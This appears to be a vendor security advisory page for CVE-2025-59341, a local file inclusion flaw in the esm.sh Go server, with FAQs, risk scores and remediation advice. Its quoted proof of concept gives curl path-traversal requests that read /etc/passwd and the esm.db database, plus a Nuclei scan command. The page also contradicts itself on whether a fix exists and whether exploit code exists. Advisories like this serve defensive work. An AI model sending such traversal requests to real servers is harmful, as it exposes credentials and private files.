How severe is CVE-2025-59341?

No CVSS score has been assigned to CVE-2025-59341 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2025-59341?

CVE-2025-59341 affects the following packages: github.com/esm-dev/esm.sh (Go). Ecosystems affected: Go.

How do I fix CVE-2025-59341?

No patched version of github.com/esm-dev/esm.sh has shipped for CVE-2025-59341 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

How do I detect CVE-2025-59341 in my Go dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2025-59341 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2025-59341?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-59341 can be triaged on real exposure rather than presence alone.

Is CVE-2025-59341 actively exploited in the wild?

No public exploit code has been indexed for CVE-2025-59341 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2025-59341?

CVE-2025-59341 has an EPSS (Exploit Prediction Scoring System) score of 1.6%, placing it in the 75th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2025-59341?

CVE-2025-59341 is classified as CWE-23 (CWE-23). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

Is there exploit tooling available for CVE-2025-59341?

A Nuclei detection template exists for CVE-2025-59341, meaning automated scanners can fingerprint it. Public exploit tooling significantly increases real-world risk — prioritize patching and ensure detection coverage. Exploit tooling should only ever be used in isolated, authorized testing environments.

When was CVE-2025-59341 published, and has it been updated?

CVE-2025-59341 was published on September 17, 2025 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐹 Go

Not in CISA KEV

CVE-2025-59341 — esm.sh

Fix: esm-dev/esm.sh@492de92

CVE-2025-59341 is a CWE-23 vulnerability in github.com/esm-dev/esm.sh. No vendor fix is recorded yet; mitigation options are listed below.

Local File Inclusion in esm.sh

Also known asGHSA-49pv-gwxp-532rGO-2025-3962

Published

Sep 17, 2025

Updated

Aug 12, 2026

Affected

1 pkg

Patched

See advisory

Exploits

None indexed

Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-59341.

EPSS Exploitation Probability

via FIRST.org ↗

1.6%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs75th percentile — riskier than 75% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐹github.com/esm-dev/esm.sh

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).

Severity: High — LFI can expose secrets, configuration files, credentials, or enable further compromise. Impact: reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.

Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168

Proof of Concept

Using this default config file that I copy from the repo, the server is running at http://localhost:9999 with this command go run server/esmd/main.go --config=config.json

{
  "port": 9999,
  "npmRegistry": "https://registry.npmjs.org/",
  "npmToken": "******"
}

Trigger the LFI vulnerability by sending this command below to read a local file

# read /etc/passwd
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'

# or read the database esm.db file
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'

Remediation

Simply remove any .. in the URL path before actually process the file. See more details in this guide

Credits

Affected Packages

1 total

Ecosystem	Package	Vulnerable range	Fix
🐹Go	`github.com/esm-dev/esm.sh`	all versions	No fix

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/esm-dev/esm.sh has shipped for CVE-2025-59341 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-59341 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-59341. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

How to detect CVE-2025-59341

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id cve-2025-59341 -u https://target

Template: esm.sh <= v136 - Local File Inclusion
Severity: high

Template by ProjectDiscovery nuclei-templates (0x_Akoko), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

## Summary A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources). **Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise. **Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks. Vulnerable code snippet is in this file: https://github

O3 Security · Impact-Aware SCA

Is CVE-2025-59341 in your dependencies?

O3 Security finds CVE-2025-59341 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works